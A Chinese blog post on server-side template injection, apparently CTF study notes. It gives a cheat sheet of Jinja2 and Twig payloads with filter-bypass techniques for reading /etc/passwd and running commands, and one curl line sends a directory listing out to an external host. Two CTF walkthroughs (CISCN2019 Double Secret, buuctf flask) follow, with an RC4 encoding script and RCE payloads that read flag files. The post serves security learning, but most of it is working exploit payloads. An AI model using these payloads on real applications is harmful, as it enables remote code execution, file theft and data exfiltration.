Laravel

Blade是Laravel提供的一个既简单又强大的模板引擎

和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码

所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编译

这里也是简单提及 没有找到更多的关于blade模板ssti注入的相关知识  这里推荐一个大佬的博客 写的非常详细


laravel Blade 模板引擎

至此 ssti注入漏洞都简略的介绍完了

小结一下 在ssti注入中 最经常遇到的就是python 以及 php的模板注入

php的Twig模板以及smarty模板 python中的jinja2 tornado模版在ctf考题中会经常出现 但是在实际找漏洞的时候不太好找 也可以用工具来测试 tplmap 类似于sqlmap的存在 还有一些不通的点涉及到很多方面的知识了 需要深入一点的学习python语言 php语言 弄清楚各种函数会更好理解一点

ssti注入还涉及到非常多的payload

总结



1)过滤[]和.

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

”.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(‘/etc/passwd’).read()

若.也被过滤,使用原生JinJa2函数|attr()

将request.__class__改成request|attr(“__class__”)



(2)过滤_

利用request.args属性

{

{ ”[request.args.class][request.args.mro][2][request.args.subclasses]()[40](‘/etc/passwd’).read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参



(3)关键字过滤

base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{

{[].__getattribute__(‘X19jbGFzc19f’.decode(‘base64’)).__base__.__subclasses__()[40](“/etc/passwd”).read()}}

字符串拼接绕过

{

{[].__getattribute__(‘__c’+’lass__’).__base__.__subclasses__()[40](“/etc/passwd”).read()}}

{

{[].__getattribute__([‘__c’,’lass__’]|join).__base__.__subclasses__()[40]}}



(4)过滤{

{


使用{% if … %}1{% endif %},例如

{% if ”.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(‘curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;’) %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/test’).read()[0:1]==’p’ %}1{% endif %}



(5)引号内十六进制绕过

{

{“”.__class__}}

{

{“”[“\x5f\x5fclass\x5f\x5f”]}}

_是\x5f,.是\x2E



(6)” ‘ chr等被过滤,无法引入字符串

直接拼接键名

dict(buil=aa,tins=dd)|join()

利用string、pop、list、slice、first等过滤器从已有变量里面直接找

(app.__doc__|list()).pop(102)|string()

构造出%和c后,用格式化字符串代替chr

{%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c

{%set i1=dict(a=i1,c=udl%(99)).values()|join %}



(7)+等被过滤,无法拼接字符串

~

在jinja中可以拼接字符串

格式化字符串

同上



python2

{

{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[‘open’](‘/etc/passwd’).read()}}

{

{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}

{

{()[“\x5F\x5Fclass\x5F\x5F”][“\x5F\x5Fbases\x5F\x5F”][0][“\x5F\x5Fsubclasses\x5F\x5F”]()[91][“get\x5Fdata”](0, “app\x2Epy”)}}

{

{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[‘eval’](“__import__(‘os’).system(‘whoami’)”)}}

{

{()[“\x5F\x5Fclass\x5F\x5F”][“\x5F\x5Fbases\x5F\x5F”][0][“\x5F\x5Fsubclasses\x5F\x5F”]()[80][“load\x5Fmodule”](“os”)[“system”](“ls”)}}

{

{request|attr(‘application’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fbuiltins\x5f\x5f’)|attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fimport\x5f\x5f’)(‘os’)|attr(‘popen’)(‘id’)|attr(‘read’)()}}



python3

{

{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[‘open’](‘/flag’).read()}}

{

{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[‘eval’](“__import__(‘os’).popen(‘whoami’).read()”)}}

不用找类

{% for x in ().__class__.__base__.__subclasses__() %}{% if “warning” in x.__name__ %}{

{x()._module.__builtins__[‘__import__’](‘os’).popen(request.args.input).read()}}{%endif%}{%endfor%}

以上思路都是找os,也可以找__builtins__.eval



twig

文件读取

{

{‘/etc/passwd’|file_excerpt(1,30)}}

{

{app.request.files.get(1).__construct(‘/etc/passwd’,”)}}

{

{app.request.files.get(1).openFile.fread(99)}}

rce

{

{_self.env.registerUndefinedFilterCallback(“exec”)}}{

{_self.env.getFilter(“id”)}}

{

{[‘cat /etc/passwd’]|filter(‘system’)}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1

{

{app.request.query.filter(0,0,1024,{‘options’:’system’})}}

还有一些payload不具体的描述了 可以去之前的博客里面找

[CISCN2019 华东南赛区]Double Secret

打开题目

说 欢迎来找秘密 用{

{7*7}}看一看

发现没有回显 先用dirsearch扫描一下 扫到了robots.txt

打开看看发现依旧没有什么有价值的信息

还扫描到了/console

打开发现 是一个被锁定的控制台 和这题没什么关系

题目提示  secret

直接在url输入一下看看 发现有页面

他说告诉他你secret 他会告诉你其他人看不见的 简单来说就是传参secret然后看回显

传参secret=199999 发现页面报错

在这里找到了源码

用tplmap无法注入 解析一下源码

当你传入的secret值是错的 他会回显

Tell me your secret.I will encrypt it so others can\'t see

知道是rc4加密并给出了解密密钥HereIsTreasure,a=render_template_string(safe(deS)),这一句,将解密后的明文渲染成字符串,回显出来。这里有一个safe函数,可能是用来过滤某些关键字对的,无从得知。

这里附上大师的脚本

import base64

from urllib import parse

def rc4_main(key = “init_key”, message = “init_message”):#返回加密后得内容

s_box = rc4_init_sbox(key)

crypt = str(rc4_excrypt(message, s_box))

return  crypt

def rc4_init_sbox(key):

s_box = list(range(256))

j = 0

for i in range(256):

j = (j + s_box[i] + ord(key[i % len(key)])) % 256

s_box[i], s_box[j] = s_box[j], s_box[i]

return s_box

def rc4_excrypt(plain, box):

res = []

i = j = 0

for s in plain:

i = (i + 1) % 256

j = (j + box[i]) % 256

box[i], box[j] = box[j], box[i]

t = (box[i] + box[j]) % 256

k = box[t]

res.append(chr(ord(s) ^ k))

cipher = “”.join(res)

return (str(base64.b64encode(cipher.encode(‘utf-8’)), ‘utf-8’))

key = “HereIsTreasure”  #此处为密文

message = input(“请输入明文:\n”)

enc_base64 = rc4_main( key , message )

enc_init = str(base64.b64decode(enc_base64),’utf-8′)

enc_url = parse.quote(enc_init)

print(“rc4加密后的url编码:”+enc_url)

查找根目录 payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==’catch_warnings’ %}{

{c.__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).listdir(‘/’)}}{% endif %}{% endfor %}

加密得到

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C3%A5nw%C2%A7%C2%8E%C2%BC%C2%BE%C3%BBEy%C2%A9%C2%BBj%C2%83.%5B%18%C3%94%C2%89Y%08%1Aw%22%C3%A3%C3%97%C2%997v%C2%A07%0A%1B%C3%82_%C2%AFN%C2%BF%C2%A3%C2%B8%14%C3%81%C2%AAXy%C3%A5%C3%8D%3B%C2%BCS%0Anq%C2%9D%C2%80%C2%B5%C3%AF%C2%B0%C3%862%5E%22zI%C3%9C%09%C3%85%7BW%C3%A3%C2%99%14gk%C3%A4%C2%BBk%C2%BE%C3%83%C2%B1%0D%03%C3%99%18qu%C2%B4%C2%BCR%C2%81%C2%B1%C2%8E4%C2%A7%C3%A0%C3%8E

找到了flag.txt

访问一下 读取文件 payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==’catch_warnings’ %}{

{ c.__init__.__globals__[‘__builtins__’].eval(“__import__(‘os’).popen(‘cat /flag.txt’).read()”)}}{% endif %}{% endfor %}

加密得到

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23%7E%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

得到flag

buuctf [flask]ssti

题目已经告诉是ssti注入了 看看是python的哪个模板注入

点击链接 发现了参考文章

发现要传参name才可以 传完之后发现回显是一串7 确定为jinja2模板

第一种方法

我这里推荐用tplmap一把梭 要比自己输入payload方便的多

找到flag

另一种方法

获取eval函数并执行任意python代码

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == ‘catch_warnings’ %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if ‘eval’ in b.keys() %}


{

{ b[‘eval’](‘__import__(“os”).popen(“id”).read()’) }}


{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

打印环境变量

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == ‘catch_warnings’ %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if ‘eval’ in b.keys() %}

{

{ b[‘eval’](‘__import__(“os”).popen(“env”).read()’) }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

得到flag

__dict__   :保存类实例或对象实例的属性变量键值对字典

__class__  :返回一个实例所属的类

__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)

__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的

__subclasses__  :以列表返回类的子类

__init__   :类的初始化方法

__globals__   :对包含函数全局变量的字典的引用

__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin

1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。

2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

这里附上python中的一些函数 在之前的python的ssti文章中也提到过

ssti就告一段落 下面会学习xss注入



版权声明:本文为wwwwyyyrre原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/wwwwyyyrre/article/details/131156240